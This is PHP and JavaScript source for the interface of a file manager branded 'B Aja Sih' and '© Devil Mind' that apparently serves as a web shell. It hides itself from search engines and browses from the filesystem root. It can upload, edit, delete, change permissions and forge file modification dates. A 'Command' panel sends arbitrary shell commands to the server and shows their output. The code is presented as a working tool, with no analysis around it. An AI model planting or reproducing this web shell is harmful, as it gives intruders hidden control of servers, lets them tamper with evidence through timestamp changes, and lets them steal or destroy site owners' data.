$scopeNorm = str_replace('\\', '/', $scopeRoot);
$rootLabel = preg_match('/^[A-Za-z]:\/$/', $scopeNorm) === 1
    ? strtoupper(substr($scopeNorm, 0, 2))
    : '/';
$scopeQueryBase = rtrim(str_replace('\\', '/', $scopeRoot), '/');
$scopeQueryBase = $scopeQueryBase === '' ? '/' : $scopeQueryBase;
$rootQuery = $scopeQueryBase === '/' ? '/' : ($scopeQueryBase . '/');
$fullPathCrumbs[] = ['query' => $rootQuery, 'label' => $rootLabel];
if ($relPath !== '') {
    $segments = array_filter(explode('/', $relPath), static function ($v) {
        return $v !== '';
    });
    $acc = '';
    foreach ($segments as $seg) {
        $acc .= ($acc === '' ? '' : '/') . $seg;
        $queryPath = $scopeQueryBase === '/' ? ('/' . $acc) : ($scopeQueryBase . '/' . $acc);
        $fullPathCrumbs[] = ['query' => $queryPath, 'label' => $seg];
    }
}

$scheme = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https' : 'http';
$host = (string) ($_SERVER['HTTP_HOST'] ?? gethostname());
$requestPath = (string) (parse_url((string) ($_SERVER['REQUEST_URI'] ?? '/'), PHP_URL_PATH) ?: '/');
$canonicalUrl = $scheme . '://' . $host . $requestPath;
$seoTitle = 'B Aja Sih - ' . $host;
$seoDescription = 'Whut? Nothing to see here.';
$seoImage = 'https://t4.ftcdn.net/jpg/05/51/40/41/360_F_551404175_l9rXdLce08oE55qBX47m9tpq9Eb0eHSs.jpg';

if (!headers_sent()) {
    header('X-Robots-Tag: noindex, nofollow, noarchive, nosnippet', true);
}
?>
<!doctype html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title><?= e($seoTitle) ?></title>
    <meta name="description" content="<?= e($seoDescription) ?>">
    <meta name="robots" content="noindex, nofollow, noarchive, nosnippet">
    <meta name="googlebot" content="noindex, nofollow, noarchive, nosnippet">
    <meta name="referrer" content="no-referrer">
    <link rel="canonical" href="<?= e($canonicalUrl) ?>">

    <meta property="og:type" content="website">
    <meta property="og:site_name" content="B Aja Sih">
    <meta property="og:title" content="<?= e($seoTitle) ?>">
    <meta property="og:description" content="<?= e($seoDescription) ?>">
    <meta property="og:url" content="<?= e($canonicalUrl) ?>">
    <meta property="og:image" content="<?= e($seoImage) ?>">

    <meta name="twitter:card" content="summary_large_image">
    <meta name="twitter:title" content="<?= e($seoTitle) ?>">
    <meta name="twitter:description" content="<?= e($seoDescription) ?>">
    <meta name="twitter:image" content="<?= e($seoImage) ?>">

    <link rel="icon" type="image/x-icon" href="https://cdn-icons-png.flaticon.com/512/9936/9936602.png">
    <link rel="icon" type="image/png" sizes="32x32" href="https://cdn-icons-png.flaticon.com/512/9936/9936602.png">
    <link rel="apple-touch-icon" sizes="180x180" href="https://cdn-icons-png.flaticon.com/512/9936/9936602.png">
    <link href="https://fonts.googleapis.com/css2?family=Mynerve&display=swap" rel="stylesheet">
    <script src="https://cdn.tailwindcss.com"></script>
    <style>
        body { background: #000; }
        .panel {
            background: #000;
            border: 2px solid #3f3f46;
            border-radius: 0;
            box-shadow: none;
        }
        .mono-scroll { scrollbar-color: #737373 #0a0a0a; }
        .brand-font { font-family: 'Mynerve', cursive; }
        .border { border-width: 2px !important; }
        .top-actions-grid { display: grid; grid-template-columns: repeat(4, minmax(0, 1fr)); gap: 0.5rem; }
        .file-table { width: 100%; min-width: 980px; }
        .row-actions { gap: 0.5rem; }
        .row-actions-group { gap: 0.25rem; }
        .row-actions-desktop { display: flex; }
        .row-actions-mobile { display: none; }
        .action-select {
            min-width: 150px;
            max-width: 100%;
            padding: 0.35rem 0.45rem;
            font-size: 0.78rem;
            background: #fff;
            color: #111;
            border: 2px solid #3f3f46;
        }
        .action-btn {
            padding: 0.25rem 0.5rem;
            line-height: 1.15;
            white-space: nowrap;
        }
        .action-btn.long {
            white-space: normal;
            text-align: center;
        }
        .action-btn { font-size: 0.84rem; }
        @media (max-width: 1024px) {
            .file-table { min-width: 900px; }
        }
        @media (max-width: 768px) {
            .top-actions-grid { grid-template-columns: repeat(2, minmax(0, 1fr)); }
            .file-table { min-width: 820px; }
            .row-actions { gap: 0.35rem; }
            .row-actions-group { gap: 0.2rem; }
            .row-actions-desktop { display: none !important; }
            .row-actions-mobile { display: block !important; }
            .action-btn {
                padding: 0.2rem 0.35rem;
                font-size: 0.72rem;
                line-height: 1.08;
                border-width: 1px !important;
            }
            .action-select {
                min-width: 120px;
                font-size: 0.72rem;
                padding: 0.3rem 0.35rem;
                border-width: 1px;
            }
        }
        @media (max-width: 520px) {
            .top-actions-grid { grid-template-columns: 1fr; }
            .file-table { min-width: 760px; }
            .action-btn {
                padding: 0.18rem 0.3rem;
                font-size: 0.68rem;
            }
        }
    </style>
</head>
<body class="min-h-screen text-white">
<div class="max-w-[1700px] mx-auto p-4 md:p-6 space-y-4">

    <?php if ($flash !== null): ?>
        <div class="border border-neutral-500 bg-black px-4 py-3 text-sm">
            [<?= e(strtoupper((string) $flash['type'])) ?>] <?= e((string) $flash['message']) ?>
        </div>
    <?php endif; ?>

    <div class="text-center mb-6">
        <h1 class="text-3xl sm:text-4xl font-bold tracking-tight brand-font">
            <button type="button" id="titleHomeBtn" class="bg-transparent border-0 p-0 m-0 text-inherit cursor-pointer">B Aja Sih</button>
        </h1>
    </div>

    <div class="space-y-4">
        <div class="panel p-4">
            <div id="fullPathCrumbs" class="flex flex-wrap items-center gap-2 break-all">
                <?php foreach ($fullPathCrumbs as $i => $crumb): ?>
                    <a href="#<?= e(rawurlencode((string) $crumb['query'])) ?>" class="px-2 py-1 border border-neutral-600 bg-black hover:bg-neutral-900 text-white text-sm"><?= e((string) $crumb['label']) ?></a>
                    <?php if ($i < count($fullPathCrumbs) - 1): ?><span class="text-neutral-500">|</span><?php endif; ?>
                <?php endforeach; ?>
            </div>
        </div>

        <div class="panel p-4">
            <div class="top-actions-grid">
                <button type="button" class="createFileBtn py-2 text-xs sm:text-sm font-semibold bg-white text-black hover:bg-neutral-300 border border-neutral-600">Create File</button>
                <button type="button" class="createFolderBtn py-2 text-xs sm:text-sm font-semibold bg-white text-black hover:bg-neutral-300 border border-neutral-600">Create Folder</button>
                <button type="button" class="uploadBtn py-2 text-xs sm:text-sm font-semibold bg-white text-black hover:bg-neutral-300 border border-neutral-600">Upload</button>
                <button type="button" class="commandBtn py-2 text-xs sm:text-sm font-semibold bg-white text-black hover:bg-neutral-300 border border-neutral-600">Command</button>
            </div>
        </div>

        <div id="inputFormBox" class="panel p-4" style="display: none;">
            <div class="flex items-center justify-between mb-2">
                <h2 id="inputFormTitle" class="font-semibold">Form</h2>
                <button type="button" class="closeInputBtn text-xs px-2 py-1 border border-neutral-600 bg-black hover:bg-neutral-900">Close</button>
            </div>
            <div id="inputFormContent"></div>
        </div>

        <input type="hidden" id="fm_token" value="<?= e($_SESSION['fm_token']) ?>">
        <input type="hidden" id="fm_currentPath" value="<?= e(rel_path($scopeRoot, $currentDir)) ?>">
        <input type="file" id="hiddenFileInput" multiple style="display: none;">
        <input type="hidden" id="fm_homeRel" value="<?= e($homeRel) ?>">

        <div class="panel p-4">
                <form id="bulkForm" method="post">
                    <input type="hidden" name="token" value="<?= e($_SESSION['fm_token']) ?>">
                    <input type="hidden" name="action" id="bulkAction" value="">

                    <div class="flex flex-col sm:flex-row sm:items-center sm:justify-between gap-2 mb-3">
                        <h2 class="font-semibold brand-font text-xl">List</h2>
                        <div class="flex flex-wrap gap-2">
                            <button type="button" onclick="setBulkAction('bulk_zip')" class="px-3 py-1.5 text-xs sm:text-sm bg-white text-black hover:bg-neutral-300">Zip Selected</button>
                            <button type="button" onclick="setBulkAction('bulk_delete')" class="px-3 py-1.5 text-xs sm:text-sm border border-neutral-500 bg-black text-white hover:bg-neutral-900">Delete Selected</button>
                        </div>
                    </div>

                    <div class="overflow-x-auto">
                        <table class="file-table text-xs sm:text-sm">
                            <thead>
                            <tr class="text-neutral-400 border-b border-neutral-700">
                                <th class="py-2 pr-2 text-left"><input id="checkAll" type="checkbox" class="accent-white"></th>
                                <th class="py-2 pr-2 text-left flex-1">Name</th>
                                <th class="py-2 pr-2 w-20 text-center">Type</th>
                                <th class="py-2 pr-2 w-24 text-center">Size</th>
                                <th class="py-2 pr-2 w-24 text-center">Permission</th>
                                <th class="py-2 pr-2 w-40 text-center">Date</th>
                                <th class="py-2 pr-0 text-center"></th>
                            </tr>
                            </thead>
                            <tbody>
                            <?php if (count($rows) === 0): ?>
                                <tr>
                                    <td colspan="7" class="py-4 text-neutral-500">Directory is empty.</td>
                                </tr>
                            <?php endif; ?>
                            <?php foreach ($rows as $row): ?>
                                <tr class="border-b border-neutral-800 align-top">
                                    <td class="py-2 pr-2">
                                        <input type="checkbox" name="selected[]" value="<?= e((string) $row['rel']) ?>" class="itemCheck accent-white">
                                    </td>
                                    <td class="py-2 pr-2 break-all">
                                        <?php if ($row['type'] === 'folder'): ?>
                                            <a href="#<?= e(rawurlencode((string) $row['rel'])) ?>" class="font-bold hover:underline"><?= e((string) $row['name']) ?></a>
                                        <?php else: ?>
                                            <a href="#view/<?= e(rawurlencode((string) $row['rel'])) ?>" class="hover:underline"><?= e((string) $row['name']) ?></a>
                                        <?php endif; ?>
                                    </td>
                                    <td class="py-2 pr-2 w-20 uppercase text-xs text-center"><?= e((string) $row['type']) ?></td>
                                    <td class="py-2 pr-2 w-24 text-center"><?= e((string) $row['size']) ?></td>
                                    <td class="py-2 pr-2 w-24 text-center"><?= e((string) $row['perm']) ?></td>
                                    <td class="py-2 pr-2 w-40 whitespace-nowrap text-center"><?= e((string) $row['mtime']) ?></td>
                                    <td class="py-2 pr-0 text-right">
                                        <div class="row-actions row-actions-desktop flex flex-wrap justify-end text-xs sm:text-sm">
                                            <div class="row-actions-group flex">
                                                <?php if ($row['type'] === 'file'): ?>
                                                    <a href="#edit/<?= e(rawurlencode((string) $row['rel'])) ?>" class="action-btn border border-neutral-600 bg-black hover:bg-neutral-900">edit</a>
                                                <?php else: ?>
                                                    <span class="action-btn border border-neutral-800 text-neutral-500">edit</span>
                                                <?php endif; ?>
                                                <a href="?download=<?= e(rawurlencode((string) $row['rel'])) ?>" class="action-btn border border-neutral-600 bg-black text-white hover:bg-neutral-900">download</a>
                                            </div>
                                            <div class="row-actions-group flex">
                                                <button type="button" data-item="<?= e((string) $row['rel']) ?>" data-name="<?= e((string) $row['name']) ?>" class="renameBtn action-btn border border-neutral-600 bg-black hover:bg-neutral-900">rename</button>
                                                <button type="button" data-item="<?= e((string) $row['rel']) ?>" data-perm="<?= e((string) $row['perm']) ?>" class="permBtn action-btn long border border-neutral-600 bg-black hover:bg-neutral-900">permission</button>
                                                <button type="button" data-item="<?= e((string) $row['rel']) ?>" data-date="<?= e(str_replace(' ', 'T', (string) $row['mtime'])) ?>" class="dateBtn action-btn long border border-neutral-600 bg-black hover:bg-neutral-900">change date</button>
                                                <button type="button" data-item="<?= e((string) $row['rel']) ?>" class="deleteBtn action-btn bg-white text-black hover:bg-neutral-300">delete</button>
                                            </div>
                                        </div>
                                        <div class="row-actions-mobile">
                                            <select class="actionSelect action-select" data-item="<?= e((string) $row['rel']) ?>" data-type="<?= e((string) $row['type']) ?>" data-name="<?= e((string) $row['name']) ?>" data-perm="<?= e((string) $row['perm']) ?>" data-date="<?= e((string) $row['mtime']) ?>">
                                                <option value="">Actions</option>
                                                <option value="edit">edit</option>
                                                <option value="download">download</option>
                                                <option value="rename">rename</option>
                                                <option value="permission">permission</option>
                                                <option value="change_date">change date</option>
                                                <option value="delete">delete</option>
                                            </select>
                                        </div>
                                    </td>
                                </tr>
                            <?php endforeach; ?>
                            </tbody>
                        </table>
                    </div>
                </form>
            </div>
            <div class="text-center text-xs text-neutral-500">&copy; <?= e(date('Y')) ?> Devil Mind.</div>
        </div>
    </div>
</div>

<form id="singleActionForm" method="post" class="hidden">
    <input type="hidden" name="token" value="<?= e($_SESSION['fm_token']) ?>">
    <input type="hidden" name="action" id="singleAction">
    <input type="hidden" name="item" id="singleItem">
    <input type="hidden" name="new_name" id="singleNewName">
    <input type="hidden" name="perm" id="singlePerm">
    <input type="hidden" name="new_date" id="singleDate">
</form>

<script>
    let homeRel = document.getElementById('fm_homeRel').value;
    let currentPath = document.getElementById('fm_homeRel').value;

    function escapeHtml(text) {
        const map = {'&': '&amp;', '<': '&lt;', '>': '&gt;', '"': '&quot;', "'": '&#039;'};
        return String(text).replace(/[&<>"']/g, m => map[m]);
    }

    function showNotification(message, isSuccess) {
        const prefix = isSuccess ? '[SUCCESS]' : '[ERROR]';
        alert(prefix + ' ' + message);
    }

    function submitFormAjax(form, callback) {
        return new Promise((resolve, reject) => {
            const formData = new FormData(form);
            fetch('', {method: 'POST', body: formData})
                .then(r => r.text())
                .then(text => {
                    try {
                        const data = JSON.parse(text);
                        showNotification(data.message, data.success);
                        if (data.success && callback) {
                            callback();
                            resolve();
                        } else {
                            reject(data.message);
                        }
                    } catch (e) {
                        showNotification('Invalid response: ' + text, false);
                        reject(e);
                    }
                })
                .catch(e => {
                    showNotification('Network error: ' + e.message, false);
                    reject(e);
                });
        });
    }

    function clearFilePanels() {
        document.querySelectorAll('[data-view-panel], [data-edit-panel]').forEach(el => el.remove());
    }

    function showInputForm(title, htmlContent) {
        document.getElementById('inputFormTitle').textContent = title;
        document.getElementById('inputFormContent').innerHTML = htmlContent;
        document.getElementById('inputFormBox').style.display = 'block';
    }

    function hideInputForm() {
        document.getElementById('inputFormBox').style.display = 'none';
        document.getElementById('inputFormContent').innerHTML = '';
    }

    document.querySelector('.closeInputBtn').addEventListener('click', hideInputForm);
    document.getElementById('titleHomeBtn').addEventListener('click', function () {
        loadFileList(homeRel);
    });

    function safeDecodeHashPart(value) {
        try {
            return decodeURIComponent(value);
        } catch (e) {
            return value;
        }
    }

    function normalizeQueryPath(value) {
        return String(value || '').replace(/\\/g, '/');
    }

    function loadFileList(path) {
        fetch('?api=list&p=' + encodeURIComponent(path))
            .then(r => r.json())
            .then(data => {
                const resolvedQuery = normalizeQueryPath(data.currentQuery || homeRel);
                const requestedQuery = normalizeQueryPath(path || homeRel);
                currentPath = resolvedQuery;
                clearFilePanels();
                updateBreadcrumbs(data.fullPathCrumbs);
                updateFileTable(data.rows, data.currentDir);
                if (requestedQuery !== resolvedQuery) {
                    window.location.hash = encodeURIComponent(resolvedQuery);
                    return;
                }
                window.history.replaceState(null, '', '#' + encodeURIComponent(resolvedQuery));
            })
            .catch(e => console.error('Load error:', e));
    }

    function updateBreadcrumbs(crumbs) {
        const bc = document.getElementById('fullPathCrumbs');
        if (!bc) return;
        bc.innerHTML = crumbs.map((c, i) => 
            '<a href="#' + encodeURIComponent(c.query) + '" class="px-2 py-1 border border-neutral-600 bg-black hover:bg-neutral-900 text-white">' + escapeHtml(c.label) + '</a>' +
            (i < crumbs.length - 1 ? '<span class="text-neutral-500">|</span>' : '')
        ).join('');
    }

    function updateFileTable(rows) {
        const tbody = document.querySelector('table tbody');
        if (!tbody) return;
        if (rows.length === 0) {
            tbody.innerHTML = '<tr><td colspan="7" class="py-4 text-neutral-500">Directory is empty.</td></tr>';
            return;
        }
        tbody.innerHTML = rows.map(row => {
            let nameCell = '';
            if (row.type === 'folder') {
                nameCell = '<a href="#' + encodeURIComponent(row.rel) + '" class="font-bold hover:underline">' + escapeHtml(row.name) + '</a>';
            } else {
                nameCell = '<a href="#view/' + encodeURIComponent(row.rel) + '" class="hover:underline">' + escapeHtml(row.name) + '</a>';
            }
            return '<tr class="border-b border-neutral-800 align-top">' +
                '<td class="py-2 pr-2"><input type="checkbox" name="selected[]" value="' + escapeHtml(row.rel) + '" class="itemCheck accent-white"></td>' +
                '<td class="py-2 pr-2 break-all">' + nameCell + '</td>' +
                '<td class="py-2 pr-2 w-20 uppercase text-xs text-center">' + escapeHtml(row.type) + '</td>' +
                '<td class="py-2 pr-2 w-24 text-center">' + escapeHtml(row.size) + '</td>' +
                '<td class="py-2 pr-2 w-24 text-center">' + escapeHtml(row.perm) + '</td>' +
                '<td class="py-2 pr-2 w-40 whitespace-nowrap text-center">' + escapeHtml(row.mtime) + '</td>' +
                '<td class="py-2 pr-0 text-xs sm:text-sm text-right">' +
                '<div class="row-actions row-actions-desktop flex flex-wrap justify-end">' +
                '<div class="row-actions-group flex">' +
                (row.type === 'file' ? '<a href="#edit/' + encodeURIComponent(row.rel) + '" class="action-btn border border-neutral-600 bg-black hover:bg-neutral-900">edit</a>' : '<span class="action-btn border border-neutral-800 text-neutral-500">edit</span>') +
                '<a href="?download=' + encodeURIComponent(row.rel) + '" class="action-btn border border-neutral-600 bg-black text-white hover:bg-neutral-900">download</a>' +
                '</div>' +
                '<div class="row-actions-group flex">' +
                '<button type="button" data-item="' + escapeHtml(row.rel) + '" data-name="' + escapeHtml(row.name) + '" class="renameBtn action-btn border border-neutral-600 bg-black hover:bg-neutral-900">rename</button>' +
                '<button type="button" data-item="' + escapeHtml(row.rel) + '" data-perm="' + escapeHtml(row.perm) + '" class="permBtn action-btn long border border-neutral-600 bg-black hover:bg-neutral-900">permission</button>' +
                '<button type="button" data-item="' + escapeHtml(row.rel) + '" data-date="' + escapeHtml(row.mtime) + '" class="dateBtn action-btn long border border-neutral-600 bg-black hover:bg-neutral-900">change date</button>' +
                '<button type="button" data-item="' + escapeHtml(row.rel) + '" class="deleteBtn action-btn bg-white text-black hover:bg-neutral-300">delete</button>' +
                '</div>' +
                '</div>' +
                '<div class="row-actions-mobile">' +
                '<select class="actionSelect action-select" data-item="' + escapeHtml(row.rel) + '" data-type="' + escapeHtml(row.type) + '" data-name="' + escapeHtml(row.name) + '" data-perm="' + escapeHtml(row.perm) + '" data-date="' + escapeHtml(row.mtime) + '">' +
                '<option value="">Actions</option>' +
                '<option value="edit">edit</option>' +
                '<option value="download">download</option>' +
                '<option value="rename">rename</option>' +
                '<option value="permission">permission</option>' +
                '<option value="change_date">change date</option>' +
                '<option value="delete">delete</option>' +
                '</select>' +
                '</div>' +
                '</td>' +
                '</tr>';
        }).join('');
        attachActionHandlers();
    }

    function attachActionHandlers() {
        document.querySelectorAll('.renameBtn').forEach(btn => {
            btn.onclick = () => {
                const newName = prompt('New name:', btn.dataset.name);
                if (newName) submitRename(btn.dataset.item, newName);
            };
        });
        document.querySelectorAll('.permBtn').forEach(btn => {
            btn.onclick = () => {
                const newPerm = prompt('New permission (octal):', btn.dataset.perm);
                if (newPerm) submitPermission(btn.dataset.item, newPerm);
            };
        });
        document.querySelectorAll('.dateBtn').forEach(btn => {
            btn.onclick = () => {
                const newDate = prompt('New date (YYYY-MM-DD HH:MM:SS):', btn.dataset.date);
                if (newDate) submitChangeDate(btn.dataset.item, newDate);
            };
        });
        document.querySelectorAll('.deleteBtn').forEach(btn => {
            btn.onclick = () => {
                if (confirm('Delete this item?')) submitDelete(btn.dataset.item);
            };
        });
        document.querySelectorAll('.actionSelect').forEach(sel => {
            sel.onchange = () => {
                const action = sel.value;
                if (!action) {
                    return;
                }
                const item = sel.dataset.item || '';
                const itemType = (sel.dataset.type || '').toLowerCase();
                if (action === 'edit') {
                    if (itemType !== 'file') {
                        showNotification('Edit only for files.', false);
                    } else {
                        window.location.hash = 'edit/' + encodeURIComponent(item);
                    }
                    sel.value = '';
                    return;
                }
                if (action === 'download') {
                    window.location.href = '?download=' + encodeURIComponent(item);
                    sel.value = '';
                    return;
                }
                if (action === 'rename') {
                    const newName = prompt('New name:', sel.dataset.name || '');
                    if (newName) {
                        submitRename(item, newName);
                    }
                    sel.value = '';
                    return;
                }
                if (action === 'permission') {
                    const newPerm = prompt('New permission (octal):', sel.dataset.perm || '');
                    if (newPerm) {
                        submitPermission(item, newPerm);
                    }
                    sel.value = '';
                    return;
                }
                if (action === 'change_date') {
                    const newDate = prompt('New date (YYYY-MM-DD HH:MM:SS):', sel.dataset.date || '');
                    if (newDate) {
                        submitChangeDate(item, newDate);
                    }
                    sel.value = '';
                    return;
                }
                if (action === 'delete') {
                    if (confirm('Delete this item?')) {
                        submitDelete(item);
                    }
                    sel.value = '';
                }
            };
        });
    }

    function submitRename(item, newName) {
        const formData = new FormData();
        formData.append('token', document.querySelector('input[name="token"]').value);
        formData.append('ajax', '1');
        formData.append('p', currentPath);
        formData.append('action', 'rename');
        formData.append('item', item);
        formData.append('new_name', newName);
        fetch('', {method: 'POST', body: formData}).then(r => r.json()).then(data => {
            showNotification(data.message, data.success);
            if (data.success) loadFileList(currentPath);
        });
    }

    function submitPermission(item, perm) {
        const formData = new FormData();
        formData.append('token', document.querySelector('input[name="token"]').value);
        formData.append('ajax', '1');
        formData.append('p', currentPath);
        formData.append('action', 'permission');
        formData.append('item', item);
        formData.append('perm', perm);
        fetch('', {method: 'POST', body: formData}).then(r => r.json()).then(data => {
            showNotification(data.message, data.success);
            if (data.success) loadFileList(currentPath);
        });
    }

    function submitChangeDate(item, newDate) {
        const formData = new FormData();
        formData.append('token', document.querySelector('input[name="token"]').value);
        formData.append('ajax', '1');
        formData.append('p', currentPath);
        formData.append('action', 'change_date');
        formData.append('item', item);
        formData.append('new_date', newDate);
        fetch('', {method: 'POST', body: formData}).then(r => r.json()).then(data => {
            showNotification(data.message, data.success);
            if (data.success) loadFileList(currentPath);
        });
    }

    function submitDelete(item) {
        const formData = new FormData();
        formData.append('token', document.querySelector('input[name="token"]').value);
        formData.append('ajax', '1');
        formData.append('p', currentPath);
        formData.append('action', 'delete');
        formData.append('item', item);
        fetch('', {method: 'POST', body: formData}).then(r => r.json()).then(data => {
            showNotification(data.message, data.success);
            if (data.success) loadFileList(currentPath);
        });
    }

    function loadViewPanel(fileRel) {
        fetch('?api=view&file=' + encodeURIComponent(fileRel))
            .then(r => r.json())
            .then(data => {
                if (!data.success) {
                    alert('[ERROR] ' + data.message);
                    return;
                }
                showInputForm('View File: ' + escapeHtml(fileRel), '<pre class="w-full h-72 overflow-auto bg-black border border-neutral-600 p-3 text-xs font-mono mono-scroll whitespace-pre-wrap break-words">' + escapeHtml(data.content) + '</pre>');
            })
            .catch(e => alert('[ERROR] Network error: ' + e.message));
    }

    function loadEditPanel(fileRel) {
        fetch('?api=view&file=' + encodeURIComponent(fileRel))
            .then(r => r.json())
            .then(data => {
                if (!data.success) {
                    alert('[ERROR] ' + data.message);
                    return;
                }
                showInputForm('Edit File: ' + escapeHtml(fileRel), '<textarea id="editFileContent" class="w-full h-72 overflow-auto bg-black border border-neutral-600 p-3 text-xs font-mono mono-scroll" style="resize: vertical;">' + escapeHtml(data.content) + '</textarea><button type="button" id="submitEditFile" class="mt-2 bg-white text-black px-4 py-2 text-sm font-semibold hover:bg-neutral-300">Save</button>');
                document.getElementById('submitEditFile').addEventListener('click', () => {
                    const content = document.getElementById('editFileContent').value;
                    const formData = new FormData();
                    formData.append('token', document.getElementById('fm_token').value);
                    formData.append('ajax', '1');
                    formData.append('p', currentPath);
                    formData.append('action', 'save_edit');
                    formData.append('item', fileRel);
                    formData.append('content', content);
                    fetch('', {method: 'POST', body: formData}).then(r => r.json()).then(d => {
                        showNotification(d.message, d.success);
                        if (d.success) { hideInputForm(); loadFileList(currentPath); }
                    });
                });
            })
            .catch(e => alert('[ERROR] Network error: ' + e.message));
    }

    window.addEventListener('hashchange', function() {
        let hash = window.location.hash.substring(1);
        if (hash.startsWith('view/')) {
            const file = hash.substring(5);
            loadViewPanel(safeDecodeHashPart(file));
            return;
        }
        if (hash.startsWith('edit/')) {
            const file = hash.substring(5);
            loadEditPanel(safeDecodeHashPart(file));
            return;
        }
        if (!hash) {
            loadFileList(homeRel);
            return;
        }
        loadFileList(safeDecodeHashPart(hash));
    });

    window.addEventListener('load', function() {
        let hash = window.location.hash.substring(1);
        if (hash.startsWith('view/')) {
            const file = hash.substring(5);
            loadViewPanel(safeDecodeHashPart(file));
            return;
        }
        if (hash.startsWith('edit/')) {
            const file = hash.substring(5);
            loadEditPanel(safeDecodeHashPart(file));
            return;
        }
        if (!hash) hash = homeRel;
        loadFileList(safeDecodeHashPart(hash));

        // Attach action button handlers
        document.querySelector('.createFileBtn').addEventListener('click', () => {
            showInputForm('Create File', '<input type="text" id="createFileName" class="w-full bg-black border border-neutral-600 px-3 py-2 text-sm mb-2" placeholder="File name"><textarea id="createFileContent" class="w-full h-32 bg-black border border-neutral-600 px-3 py-2 text-sm font-mono mb-2" placeholder="File content (optional)"></textarea><button type="button" id="submitCreateFile" class="bg-white text-black px-4 py-2 text-sm font-semibold hover:bg-neutral-300">Create</button>');
            document.getElementById('submitCreateFile').addEventListener('click', () => {
                const name = document.getElementById('createFileName').value;
                const content = document.getElementById('createFileContent').value;
                if (!name) { alert('File name is required'); return; }
                const formData = new FormData();
                formData.append('token', document.getElementById('fm_token').value);
                formData.append('ajax', '1');
                formData.append('p', currentPath);
                formData.append('action', 'create_file');
                formData.append('name', name);
                fetch('', {method: 'POST', body: formData}).then(r => r.json()).then(data => {
                    if (data.success) {
                        const createdFileRel = data.data.file_rel || name;
                        if (content) {
                            const saveForm = new FormData();
                            saveForm.append('token', document.getElementById('fm_token').value);
                            saveForm.append('ajax', '1');
                            saveForm.append('p', currentPath);
                            saveForm.append('action', 'save_edit');
                            saveForm.append('item', createdFileRel);
                            saveForm.append('content', content);
                            fetch('', {method: 'POST', body: saveForm}).then(r => r.json()).then(d => {
                                showNotification(d.message, d.success);
                                if (d.success) {
                                    loadFileList(currentPath);
                                    hideInputForm();
                                }
                            });
                        } else {
                            showNotification(data.message, data.success);
                            loadFileList(currentPath);
                            hideInputForm();
                        }
                    } else {
                        showNotification(data.message, data.success);
                    }
                });
            });
        });

        document.querySelector('.createFolderBtn').addEventListener('click', () => {
            showInputForm('Create Folder', '<input type="text" id="createFolderName" class="w-full bg-black border border-neutral-600 px-3 py-2 text-sm mb-2" placeholder="Folder name"><button type="button" id="submitCreateFolder" class="bg-white text-black px-4 py-2 text-sm font-semibold hover:bg-neutral-300">Create</button>');
            document.getElementById('submitCreateFolder').addEventListener('click', () => {
                const name = document.getElementById('createFolderName').value;
                if (!name) { alert('Folder name is required'); return; }
                const formData = new FormData();
                formData.append('token', document.getElementById('fm_token').value);
                formData.append('ajax', '1');
                formData.append('p', currentPath);
                formData.append('action', 'create_folder');
                formData.append('name', name);
                fetch('', {method: 'POST', body: formData}).then(r => r.json()).then(data => {
                    showNotification(data.message, data.success);
                    if (data.success) { loadFileList(currentPath); hideInputForm(); }
                });
            });
        });

        document.querySelector('.uploadBtn').addEventListener('click', () => {
            document.getElementById('hiddenFileInput').click();
        });

        document.getElementById('hiddenFileInput').addEventListener('change', (e) => {
            const files = e.target.files;
            if (files.length === 0) return;
            const formData = new FormData();
            formData.append('token', document.getElementById('fm_token').value);
            formData.append('ajax', '1');
            formData.append('p', currentPath);
            formData.append('action', 'upload');
            for (let i = 0; i < files.length; i++) {
                formData.append('upload_file[]', files[i]);
            }
            fetch('', {method: 'POST', body: formData}).then(r => r.json()).then(data => {
                showNotification(data.message, data.success);
                if (data.success) loadFileList(currentPath);
                e.target.value = '';
            });
        });

        document.querySelector('.commandBtn').addEventListener('click', () => {
            showInputForm('Command', '<input type="text" id="commandInput" class="w-full bg-black border border-neutral-600 px-3 py-2 text-sm mb-2" placeholder="Enter command..."><button type="button" id="submitCommand" class="bg-white text-black px-4 py-2 text-sm font-semibold hover:bg-neutral-300">Execute</button><div id="commandOutput" style="margin-top: 12px; display: none;"><div class="bg-black border border-neutral-600 p-3 text-xs font-mono max-h-64 overflow-auto whitespace-pre-wrap" id="commandOutputContent"></div></div>');
            document.getElementById('submitCommand').addEventListener('click', () => {
                const cmd = document.getElementById('commandInput').value;
                if (!cmd) { alert('Command is required'); return; }
                const formData = new FormData();
                formData.append('token', document.getElementById('fm_token').value);
                formData.append('ajax', '1');
                formData.append('p', currentPath);
                formData.append('action', 'command');
                formData.append('cmd', cmd);
                fetch('', {method: 'POST', body: formData}).then(r => r.json()).then(data => {
                    if (data.success) {
                        document.getElementById('commandOutput').style.display = 'block';
                        document.getElementById('commandOutputContent').textContent = data.data.output || '[no output]';
                    } else {
                        showNotification(data.message, false);
                    }
                }).catch(e => showNotification('Network error: ' + e.message, false));
            });
        });
    });

    function setBulkAction(action) {
        const checks = document.querySelectorAll('.itemCheck:checked');
        if (!checks.length) {
            alert('Select at least 1 item.');
            return;
        }
        if (action === 'bulk_delete' && !confirm('Delete selected items?')) {
            return;
        }
        const formData = new FormData();
        formData.append('token', document.querySelector('input[name="token"]').value);
        formData.append('ajax', '1');
        formData.append('p', currentPath);
        formData.append('action', action);
        checks.forEach(chk => formData.append('selected[]', chk.value));
        fetch('', {method: 'POST', body: formData}).then(r => r.json()).then(data => {
            showNotification(data.message, data.success);
            if (data.success) loadFileList(currentPath);
        });
    }

    document.getElementById('checkAll').addEventListener('change', function () {
        document.querySelectorAll('.itemCheck').forEach((cb) => {
            cb.checked = this.checked;
        });
    });
</script>
</body>
</html>